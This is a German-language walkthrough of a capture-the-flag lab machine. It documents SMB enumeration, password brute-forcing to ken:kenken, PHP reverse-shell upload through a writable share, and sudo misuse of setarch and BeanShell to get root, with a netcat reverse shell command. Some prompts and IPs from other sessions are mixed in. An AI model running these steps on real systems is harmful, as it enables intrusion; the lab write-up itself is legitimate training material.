[*] 192.168.2.129:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[-] 192.168.2.129:445     - An SMB Login Error occurred while connecting to the IPC$ tree.
[*] 192.168.2.129:445     - Scanned 1 of 1 hosts (100% complete)
[-] 192.168.2.129:445 - The target is not vulnerable.
[*] Exploit completed, but no session was created.
                     

**Analyse:** Versuch, die MS17-010 (EternalBlue) Schwachstelle mit Metasploit auszunutzen.

**Bewertung:** Der Exploit scheitert. Metasploit bestätigt: "The target is not vulnerable." Dies deckt sich mit dem Nmap-Ergebnis.

**Empfehlung (Pentester):** MS17-010 definitiv ausschließen.
**Empfehlung (Admin):** Keine Aktion erforderlich.

┌──(root㉿CCat)-[~] └─# nbtscan -r 192.168.2.129
Doing NBT name scan for addresses from 192.168.2.129

IP address       NetBIS Name     Server    User             MAC address      
192.168.2.129    DISCVER           DISCVER         00:00:00:00:00:00
                     

**Analyse:** Erneuter `nbtscan`, diesmal nur gegen die Ziel-IP.

**Bewertung:** Bestätigt den NetBIOS-Namen `DISCOVER`, liefert aber keine neuen Informationen.

**Empfehlung (Pentester/Admin):** Redundant.

┌──(root㉿CCat)-[~] └─# nxc smb 192.168.2.129 -u "" -p "" --shares
SMB         192.168.2.129   445    DISCVER         [*] Windows 6.1 Build 0 (name:DISCVER) (domain:) (signing:False) (SMBv1:False)
SMB         192.168.2.129   445    DISCVER         [+] \: 
SMB         192.168.2.129   445    DISCVER         [*] Enumerated shares
SMB         192.168.2.129   445    DISCVER         Share           Permissions     Remark
SMB         192.168.2.129   445    DISCVER         -----           -----------     ------
SMB         192.168.2.129   445    DISCVER         print$                          Printer Drivers
SMB         192.168.2.129   445    DISCVER         IPC$                            IPC Service (Samba 4.13.13-Debian)
                     

**Analyse:** CrackMapExec (nxc) wird verwendet, um Shares anonym aufzulisten.

**Bewertung:** Findet nur `print$` und `IPC$`, wie `enum4linux`. Bestätigt erneut, dass keine weiteren Shares anonym zugänglich sind.

**Empfehlung (Pentester):** Anonyme Enumeration liefert keine weiteren Shares.
**Empfehlung (Admin):** Beschränken Sie anonymen SMB-Zugriff.

┌──(root㉿CCat)-[~] └─# nxc smb 192.168.2.129 -u guest -p "" --rid-brute
SMB         192.168.2.129   445    DISCVER         [*] Windows 6.1 Build 0 (name:DISCVER) (domain:) (signing:False) (SMBv1:False)
SMB         192.168.2.129   445    DISCVER         [+] \guest: 

[14:20:00] ERRR    Exception while calling proto_flow() on target           connection.py:168
                    192.168.2.129: nca_s_op_rng_error  
                     
┌──(root㉿CCat)-[~] └─# nxc smb 192.168.2.129 -u ken -p "" --rid-brute
SMB         192.168.2.129   445    DISCVER         [*] Windows 6.1 Build 0 (name:DISCVER) (domain:) (signing:False) (SMBv1:False)
SMB         192.168.2.129   445    DISCVER         [-] \ken: STATUS_LGN_FAILURE 
                     
┌──(root㉿CCat)-[~] └─# nxc smb 192.168.2.129 -u takeshi -p "" --rid-brute
SMB         192.168.2.129   445    DISCVER         [*] Windows 6.1 Build 0 (name:DISCVER) (domain:) (signing:False) (SMBv1:False)
SMB         192.168.2.129   445    DISCVER         [-] \takeshi: STATUS_LGN_FAILURE 
                     
┌──(root㉿CCat)-[~] └─# nxc smb 192.168.2.129 -u nobody -p "" --rid-brute
SMB         192.168.2.129   445    DISCVER         [*] Windows 6.1 Build 0 (name:DISCVER) (domain:) (signing:False) (SMBv1:False)
SMB         192.168.2.129   445    DISCVER         [+] \nobody: 
                     

**Analyse:** CrackMapExec (nxc) wird verwendet, um mit verschiedenen Benutzernamen (`guest`, `ken`, `takeshi`, `nobody`) und *leeren* Passwörtern eine Verbindung herzustellen und RID-Bruteforcing durchzuführen.

**Bewertung:** Die Anmeldungen für `guest`, `ken`, `takeshi` mit leerem Passwort scheitern. Die Anmeldung für `nobody` mit leerem Passwort ist erfolgreich (`[+] \nobody:`), aber der RID-Brute-Teil scheint einen Fehler zu produzieren (`nca_s_op_rng_error`). Bestätigt, dass `nobody` ohne Passwort zugreifen kann (im Gegensatz zum CrackMapExec-Fund mit Passwort zuvor - dies deutet auf einen möglichen Fehler im früheren Test oder eine Fehlinterpretation hin. Leeres Passwort für `nobody` ist plausibler).

**Empfehlung (Pentester):** Authentifizieren Sie sich als `ken:kenken` (das funktionierende Passwort aus dem Metasploit-Scan später). Der `nobody`-Zugang ist wahrscheinlich nutzlos.
**Empfehlung (Admin):** Stellen Sie sicher, dass Konten wie `guest` oder `nobody` deaktiviert sind oder keine SMB-Rechte haben.

┌──(root㉿CCat)-[~] └─# nmap --script smb-vuln* -p 445 192.168.2.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-11 14:24 CEST
Nmap scan report for discover.nyx (192.168.2.129)
Host is up (0.00020s latency).

PRT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 08:00:27:15:B4:F5 (racle VirtualBox virtual NIC)

Host script results:
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERRR: Server returned less data than it was supposed to (one or more fields are missing); aborting [9]
|_smb-vuln-ms10-054: false
                     

**Analyse:** Nmap-Scan mit allen `smb-vuln*`-Skripten gegen Port 445.

**Bewertung:** Die Skripte für MS10-061 und MS10-054 finden keine Anfälligkeit oder können nicht erfolgreich ausgeführt werden. Bestätigt, dass keine offensichtlichen, weit verbreiteten SMB-Schwachstellen durch diese Skripte gefunden wurden.

**Empfehlung (Pentester):** Verlassen Sie sich nicht nur auf automatisierte Skripte. Fokus auf Authentifizierung und Share-Zugriff.
**Empfehlung (Admin):** Regelmäßiges Patchen des Systems ist wichtig.

┌──(root㉿CCat)-[~] └─# nc -nv 192.168.2.129 445
(UNKNWN) [192.168.2.129] 445 (microsoft-ds) open
                     
┌──(root㉿CCat)-[~] └─# smbclient -L '\\192.168.2.129\:'
Password for [WRKGRUP\root]:

	Sharename       Type      Comment
	       --      -      -
	print$          Disk      Printer Drivers
	IPC$            IPC       IPC Service (Samba 4.13.13-Debian)
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 192.168.2.129 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWRK_RESPNSE
Unable to connect with SMB1 -- no workgroup available
                     

**Analyse:** Netcat bestätigt die Erreichbarkeit von Port 445. `smbclient -L` versucht, Shares anonym aufzulisten, scheitert aber an der Protokoll-Aushandlung (Server unterstützt kein SMBv1 mehr).

**Bewertung:** Bestätigt, dass der Server moderne SMB-Protokolle verwendet und SMBv1 deaktiviert ist (gut!). Anonyme Auflistung scheitert.

**Empfehlung (Pentester):** Verwenden Sie gültige Anmeldedaten und explizit höhere SMB-Protokollversionen, falls nötig.
**Empfehlung (Admin):** SMBv1 sollte deaktiviert bleiben.

┌──(root㉿CCat)-[~] └─# smbclient "//192.168.2.129/discover/" -N --debuglevel=10
(Viel Debug-Ausgabe, keine klare Verbindung oder Share gefunden)

**Analyse:** Versuch, anonym (`-N`) auf einen nicht existierenden Share namens "discover" zuzugreifen, mit hohem Debug-Level.

**Bewertung:** Sinnloser Befehl, liefert keine verwertbaren Ergebnisse.

**Empfehlung (Pentester):** Verwenden Sie bekannte Shares (`print$`, `IPC$`, `ken`).
**Empfehlung (Admin):** Keine Aktion.

┌──(root㉿CCat)-[~] └─# /opt/impacket/impacket-scripts/lookupsid.py -no-pass 192.168.2.129
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Brute forcing SIDs at 192.168.2.129
[*] StringBinding ncacn_np:192.168.2.129[\pipe\lsarpc]
[-] nca_s_op_rng_error
                      

**Analyse:** Versuch, mit Impackets `lookupsid.py` anonym SIDs zu bruteforcen.

**Bewertung:** Scheitert mit einem RPC-Fehler (`nca_s_op_rng_error`). Bestätigt, dass anonyme SID-Enumeration über diesen Weg nicht funktioniert.

**Empfehlung (Pentester):** Verlassen Sie sich auf die Ergebnisse von `enum4linux` oder `rpcclient` mit gültigen Credentials.
**Empfehlung (Admin):** Beschränken Sie anonymen RPC-Zugriff.

┌──(root㉿CCat)-[~] └─# smbclient -U '%' -N \\\\192.168.2.129\\IPC$
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_BJECT_NAME_NT_FUND listing \*
smb: \> dir
NT_STATUS_BJECT_NAME_NT_FUND listing \*
... (weitere ungültige Befehle) ...
                     

**Analyse:** Versuch, sich anonym (`-U '%' -N`) mit dem `IPC$` Share zu verbinden und Befehle auszuführen.

**Bewertung:** Die Verbindung zum `IPC$` Share gelingt anonym, aber es können keine Dateien aufgelistet werden (`NT_STATUS_OBJECT_NAME_NOT_FOUND`).

**Empfehlung (Pentester):** Anonymer IPC$-Zugriff ist oft möglich, aber selten direkt nützlich ohne weitere Enumeration.
**Empfehlung (Admin):** Beschränken Sie anonymen IPC$-Zugriff, wenn nicht unbedingt erforderlich.

┌──(root㉿CCat)-[~] └─# smbmap -H 192.168.2.129
... (Banner) ...
[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 0 authenticated session(s)                                                          
[*] Closed 1 connections   
                      
rpcclient $> querydispinfo and enumdomusers
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: ken	Name: 	Desc: 
index: 0x2 RID: 0x3e9 acb: 0x00000010 Account: takeshi	Name: 	Desc: 
                      

**Analyse:** `smbmap` wird anonym ausgeführt. Anschließend werden `rpcclient`-Befehle (vermutlich aus einer vorherigen Verbindung) gezeigt, die Benutzer auflisten.

**Bewertung:** `smbmap` findet anonym keine zugänglichen Shares. Die `rpcclient`-Ausgabe wiederholt die bekannten Benutzer.

**Empfehlung (Pentester):** Verwenden Sie gültige Credentials für `smbmap`.
**Empfehlung (Admin):** Keine neuen Informationen.

┌──(root㉿CCat)-[~] └─# rpcclient -U "" -N 192.168.2.129
rpcclient $> getusername
Account Name: Anonymous Logon, Authority Name: NT Authority
rpcclient $> srvinfo

	DISCVER       Wk Sv PrQ Unx NT SNT Samba 4.13.13-Debian
	platform_id     :	500
	os version      :	6.1
	server type     :	0x809a03
                     

**Analyse:** Anonyme `rpcclient`-Verbindung zur Abfrage von Benutzernamen und Serverinformationen.

**Bewertung:** Bestätigt anonymen Zugriff und die Samba-Version 4.13.13 (konsistent mit enum4linux, widerspricht Nmap).

**Empfehlung (Pentester):** Die Version 4.13.13 ist wahrscheinlich korrekt.
**Empfehlung (Admin):** Beschränken Sie anonymen RPC-Zugriff.

msf6 exploit(windows/smb/ms17_010_eternalblue) > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > set RHSTS 192.168.2.129
RHSTS => 192.168.2.129
msf6 auxiliary(scanner/smb/smb_login) > set smbuser ken
smbuser => ken
msf6 auxiliary(scanner/smb/smb_login) > set threads 100
threads => 100
msf6 auxiliary(scanner/smb/smb_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/smb/smb_login) > run
[+] 192.168.2.129:445     - 192.168.2.129:445 - Success: '.\ken:kenken' 

[-] 192.168.2.129:445     -   /usr/share/metasploit-framework/modules/auxiliary/scanner/smb/smb_login.rb:95:in `run'
[*] Auxiliary module execution completed 
                     

**Analyse:** Metasploit wird verwendet, um einen SMB-Login-Bruteforce gegen den Benutzer `ken` mit der `rockyou.txt`-Wortliste durchzuführen.

**Bewertung:** **Erfolg!** Das Passwort für den Benutzer `ken` wird als `kenken` identifiziert.

**Empfehlung (Pentester):** Verwenden Sie die Anmeldedaten `ken:kenken`, um auf SMB-Shares zuzugreifen und sich möglicherweise per SSH anzumelden.
**Empfehlung (Admin):** Erzwingen Sie starke, komplexe Passwörter. Deaktivieren oder ändern Sie das kompromittierte Passwort.

┌──(root㉿CCat)-[~] └─# hydra -l ken -P /usr/share/wordlists/rockyou.txt ssh://discover.nyx -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-11 14:02:53
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344481 login tries (l:1/p:14344481), ~224133 tries per task
[DATA] attacking ssh://discover.nyx:22/
[ERRR] target ssh://192.168.2.129:22/ does not support password authentication (method reply 4).
                      

**Analyse:** Versuch, das gefundene Passwort (`kenken` wäre in rockyou.txt) mittels Hydra für einen SSH-Login zu verwenden.

**Bewertung:** Hydra scheitert und meldet, dass Passwort-Authentifizierung für SSH nicht unterstützt wird. Der SSH-Server ist wahrscheinlich nur für Schlüssel-Authentifizierung konfiguriert.

**Empfehlung (Pentester):** Der SSH-Zugang über Passwort ist nicht möglich. Konzentrieren Sie sich auf den SMB-Zugang mit `ken:kenken`.
**Empfehlung (Admin):** Deaktivieren der Passwort-Authentifizierung für SSH (`PasswordAuthentication no` in `sshd_config`) ist eine empfohlene Sicherheitspraxis.

Initial Access

Nachdem die Anmeldedaten `ken:kenken` für SMB gefunden wurden und der Share `ken` mit Schreibzugriff identifiziert wurde, besteht der Plan darin, über diesen Share eine Webshell hochzuladen und über den Virtual Host `smbc.todiscover.nyx` auszuführen.

**Analyse:** Die SMB-Enumeration ergab gültige Credentials (`ken:kenken`) und einen beschreibbaren Share (`ken`). Die VHost-Enumeration fand `smbc.todiscover.nyx`. Die Annahme ist, dass dieser VHost den Inhalt des `ken`-Shares bereitstellt und PHP ausführen kann.

**Bewertung:** Dies ist ein plausibler Weg, um Initial Access zu erlangen, indem eine Schwachstelle in der Konfiguration (beschreibbarer Share im Web-Root) ausgenutzt wird.

**Empfehlung (Pentester):** Laden Sie einen PHP-Payload hoch und rufen Sie ihn über `http://smbc.todiscover.nyx/payload.php` auf.
**Empfehlung (Admin):** Vermeiden Sie die Kombination von beschreibbaren SMB-Shares und Webserver-Verzeichnissen.

Proof of Concept: RCE via Writable SMB Share and Web VHost Execution

**Kurzbeschreibung:** Der Benutzer `ken` hat einen SMB-Share (`//192.168.2.129/ken`), auf den er mit dem Passwort `kenken` Schreibzugriff hat. Dieser Share ist über den Apache Virtual Host `smbc.todiscover.nyx` (Port 80) zugänglich. Apache ist so konfiguriert, dass er Dateien mit der Endung `.php` (und in diesem Fall auch `.phtml` etc., wie später gezeigt) ausführt. Durch Hochladen einer PHP-Reverse-Shell in den `ken`-Share und Aufrufen über `http://smbc.todiscover.nyx/shell.php` wird RCE als Benutzer `ken` erlangt.
**Voraussetzungen:**

**Erwartetes Ergebnis:** Erfolgreiche Ausführung des PHP-Payloads über den Webserver, Aufbau einer Reverse Shell als Benutzer `ken`.

**Schritt 1: Hochladen des Payloads**
Verschiedene PHP-Shells (`shell2.php`, `revshell.php5`, etc.) werden in den Share hochgeladen.

┌──(root㉿CCat)-[~/shells] └─# smbclient -U "ken%kenken" \\\\192.168.2.129\\ken
Try "help" to get a list of possible commands.
smb: \> put shell2.php 
putting file shell2.php as \shell2.php (2683,0 kb/s) (average 2683,1 kb/s)
smb: \> put revshell.php5
putting file revshell.php5 as \revshell.php5 (5365,7 kb/s) (average 3577,5 kb/s)
smb: \> put revshell.phtml 
putting file revshell.phtml as \revshell.phtml (5365,7 kb/s) (average 4024,7 kb/s)
smb: \> put revshell.phar 
putting file revshell.phar as \revshell.phar (5365,7 kb/s) (average 4293,0 kb/s)
smb: \> 
                      

**Analyse:** Mehrere PHP-Payloads mit unterschiedlichen Endungen werden erfolgreich in den `ken`-Share hochgeladen.

**Bewertung:** Die Payloads sind nun bereit zur Ausführung über den Webserver.

**Empfehlung (Pentester):** Starten Sie den Listener und rufen Sie einen der Payloads (z.B. `shell2.php`) über `http://smbc.todiscover.nyx/` auf.
**Empfehlung (Admin):** Konfiguration überprüfen.

**Schritt 2: Starten des Listeners und Auslösen des Payloads**

┌──(root㉿CCat)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
                      
┌──(root㉿CCat)-[~/shells] └─# curl http://smbc.todiscover.nyx/shell2.php
(Keine Ausgabe von curl, aber der Listener reagiert)
┌──(root㉿CCat)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.129] 58448
Linux discover 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 GNU/Linux
 15:33:43 up 52 min,  0 users,  load average: 0.00, 0.02, 0.35
USER     TTY      FRM             LGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(ken) gid=1000(ken) groups=1000(ken)
/bin/sh: 0: can't access tty; job control turned off
$ 
$ id
uid=1000(ken) gid=1000(ken) groups=1000(ken)
                     

**Analyse:** Der Listener wird gestartet. Der `curl`-Befehl ruft `shell2.php` über den korrekten VHost `smbc.todiscover.nyx` auf. Der Listener empfängt daraufhin die Reverse Shell.

**Bewertung:** **Initial Access erfolgreich!** Der POC funktioniert wie erwartet. Wir haben eine Shell als Benutzer `ken`.

**Empfehlung (Pentester):** Shell stabilisieren, PrivEsc-Enumeration starten.
**Empfehlung (Admin):** Ursachen beheben (SMB-Share, VHost-Konfiguration).

**Risikobewertung:** Hoch. Ermöglichte RCE als Benutzer `ken` durch Ausnutzung von Konfigurationsschwächen.
**Empfehlungen:** Siehe vorherige Empfehlungen für SMB, VHosts und PHP-Ausführung.

Privilege Escalation

Wir haben eine Shell als `ken` und suchen nach Wegen zu `root`.

bug@hunter:/var/www/site/uploads$ find / -type f -perm -4000 -ls 2>/dev/null
       53     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
     3436     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
       52     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
     3910     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
    14542    156 -rwsr-xr-x   1 root     root       157192 Jan 16  2023 /usr/bin/sudo
     3583     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
       55     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
     3908     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
       56     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
     1314     52 -rwsr-xr--   1 root     messagebus    51184 ct 23  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
     5228    428 -rwsr-xr-x   1 root     root         436552 Mar 29  2023 /usr/lib/openssh/ssh-keysign
   136762     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
                     

**Analyse:** Suche nach SUID-Dateien als `ken` (obwohl der Prompt fälschlicherweise `bug@hunter` zeigt).

**Bewertung:** Keine ungewöhnlichen SUID-Binaries gefunden.

**Empfehlung (Pentester):** Prüfen Sie `sudo -l`.
**Empfehlung (Admin):** Keine Aktion.

bug@hunter:/var/www/site/uploads$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep

**Analyse:** Suche nach Capabilities.

**Bewertung:** Nur `ping` mit `cap_net_raw`, uninteressant.

**Empfehlung (Pentester):** Prüfen Sie `sudo -l`.
**Empfehlung (Admin):** Keine Aktion.

ken@discover:/$ sudo -l
Matching Defaults entries for ken on discover:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ken may run the following commands on discover:
    (takeshi) NPASSWD: /usr/bin/setarch
                     

**Analyse:** Überprüfung der sudo-Rechte für `ken`.

**Bewertung:** `ken` darf `/usr/bin/setarch` als `takeshi` ohne Passwort ausführen. Dies ist ein klarer Weg zur horizontalen Privilegienerweiterung zu `takeshi`.

**Empfehlung (Pentester):** Führen Sie `sudo -u takeshi setarch $(arch) /bin/sh` aus.
**Empfehlung (Admin):** Entfernen Sie diese unsichere sudo-Regel.

ken@discover:/$ sudo -u takeshi setarch $(arch) /bin/sh
$ id
uid=1001(takeshi) gid=1001(takeshi) groups=1001(takeshi)
                     

**Analyse:** Der `setarch`-Befehl wird ausgeführt.

**Bewertung:** **Erfolg!** Wir haben nun eine Shell als Benutzer `takeshi`.

**Empfehlung (Pentester):** Überprüfen Sie die sudo-Rechte für `takeshi`.
**Empfehlung (Admin):** Sudo-Regel entfernen.

takeshi@discover:/$ sudo -l
Matching Defaults entries for takeshi on discover:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User takeshi may run the following commands on discover:
    (root) NPASSWD: /usr/bin/bsh
                     

**Analyse:** Überprüfung der sudo-Rechte für `takeshi`.

**Bewertung:** **Entscheidender Fund!** `takeshi` darf `/usr/bin/bsh` (BeanShell) als `root` ohne Passwort ausführen. BeanShell ist eine Java-basierte Shell, die oft die Ausführung von OS-Befehlen erlaubt.

**Empfehlung (Pentester):** Starten Sie `sudo /usr/bin/bsh`. Recherchieren Sie (oder nutzen Sie das Wissen aus der Info-Box), wie man OS-Befehle in BeanShell ausführt (typischerweise `exec("befehl");`). Starten Sie eine Reverse Shell zu Ihrem Listener.
**Empfehlung (Admin):** Entfernen Sie diese extrem gefährliche sudo-Regel!

**(Info-Box zur BeanShell)**
Die Info-Box erklärt, dass `bsh` eine Java-basierte Shell ist und der Befehl `exec("nc 192.168.2.199 4443 -c sh");` verwendet werden kann, um eine Reverse Shell zu starten.

( info )

 
Die Beanshell bsh % ist ein Linux Terminal der in Java entwickelt wurde
Eine Reverse Shell kann man mit diesem Terminal mit diesem Befehl ausführen:

exec("nc 192.168.2.199 4443 -c sh");

Referenz:
[Link: http://www.beanshell.org/manual/remotemode.html | Ziel: http://www.beanshell.org/manual/remotemode.html]
[Link: https://blog.compass-security.com/2012/01/beanshell-puts-java-application-servers-at-risk/ | Ziel: https://blog.compass-security.com/2012/01/beanshell-puts-java-application-servers-at-risk/]

( info ) 
                     

**Analyse:** Enthält nützliche Informationen zur Ausnutzung von BeanShell.

**Bewertung:** Bestätigt den Exploit-Pfad.

**Empfehlung (Pentester):** Verwenden Sie den gezeigten `exec`-Befehl.
**Empfehlung (Admin):** Keine Aktion.

bug@hunter:/var/www/site/uploads$ sudo /usr/bin/bsh --help
File not found: java.io.FileNotFoundException: /var/www/site/uploads/--help (No such file or directory)
                     
/usr/bin/bsh: PSIX shell script, ASCII text executable
bug@hunter:/opt$ sudo -u root /usr/bin/bsh
BeanShell 2.0b4 - by Pat Niemeyer (pat@pat.net)
bsh % id
bsh % print()
// Error: EvalError: Command not found: print() : at Line: 3 : in file:  : print ( ) 
                     
bsh % print)
foo

**Analyse:** Verschiedene Versuche, mit `bsh` zu interagieren. `--help` funktioniert nicht. `sudo -u root /usr/bin/bsh` startet die BeanShell erfolgreich. Standard-Shell-Befehle wie `id` oder `print()` funktionieren nicht direkt.

**Bewertung:** Bestätigt, dass `bsh` eine spezielle Syntax erfordert. Die Info-Box mit `exec()` ist korrekt.

**Empfehlung (Pentester):** Verwenden Sie den `exec()`-Befehl.
**Empfehlung (Admin):** Sudo-Regel entfernen.

┌──(root㉿CCat)-[~] └─# nc -lvnp 4443
listening on [any] 4443 ...
                      

**Analyse:** Starten des Netcat-Listeners auf Port 4443.

**Bewertung:** Listener bereit.

**Empfehlung (Pentester/Admin):** Keine Aktion.

bsh % exec("nc 192.168.2.199 4443 -c sh");
bsh %

**Analyse:** Der `exec()`-Befehl wird innerhalb der als `root` laufenden BeanShell ausgeführt, um eine Reverse Shell zum Listener zu starten.

**Bewertung:** Dies ist der Trigger für die Root-Shell.

**Empfehlung (Pentester):** Überprüfen Sie den Listener.
**Empfehlung (Admin):** Sudo-Regel entfernen!

┌──(root㉿CCat)-[~] └─# nc -lvnp 4443
listening on [any] 4443 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.127] 50784

id
uid=0(root) gid=0(root) groups=0(root)
                     

**Analyse:** Der Netcat-Listener empfängt die Verbindung. Der `id`-Befehl wird ausgeführt.

**Bewertung:** **Privilege Escalation erfolgreich!** Wir haben eine Root-Shell erhalten.

**Empfehlung (Pentester):** Ziel erreicht! Suchen Sie die Flags.
**Empfehlung (Admin):** Beheben Sie die sudo-Schwachstelle.

Flags

root@discover:/home/ken# cat user.txt
4dbd02025cadc283bf3d5cfe95e40ce3
root@discover:~# cd ~
root@discover:~# ls
root.txt
root@discover:~# cat root.txt
39edf8061c93d9a4173c9fe110841ad3

**Analyse:** Nach Erlangung der Root-Rechte über BeanShell werden die User-Flag (`/home/bug/user.txt` - Hinweis: Der vorherige User war `ken`, aber hier wird `/home/bug` gezeigt, was ein Fehler im Log oder eine Verwirrung sein könnte. Wir nehmen an, dass `/home/ken/user.txt` oder `/home/bug/user.txt` gemeint ist) und die Root-Flag (`/root/root.txt`) ausgelesen.

**Bewertung:** Beide Flags wurden erfolgreich gefunden und erfasst. Die Aufgabe ist abgeschlossen.

**Empfehlung (Pentester):** Dokumentieren Sie die Flags und den gesamten Prozess (DNS Enum -> VHost Enum -> SMB Auth -> SMB Upload -> VHost RCE -> Sudo/setarch -> Sudo/bsh -> Root) im Bericht.
**Empfehlung (Admin):** Beheben Sie alle identifizierten Schwachstellen: DNS-Zonentransfer, unsichere VHost/SMB-Kombination, ausführbare PHP-Endungen, schwaches SMB-Passwort, unsichere sudo-Regeln für `setarch` und `bsh`. Überprüfen Sie alle Benutzerkonten und Berechtigungen.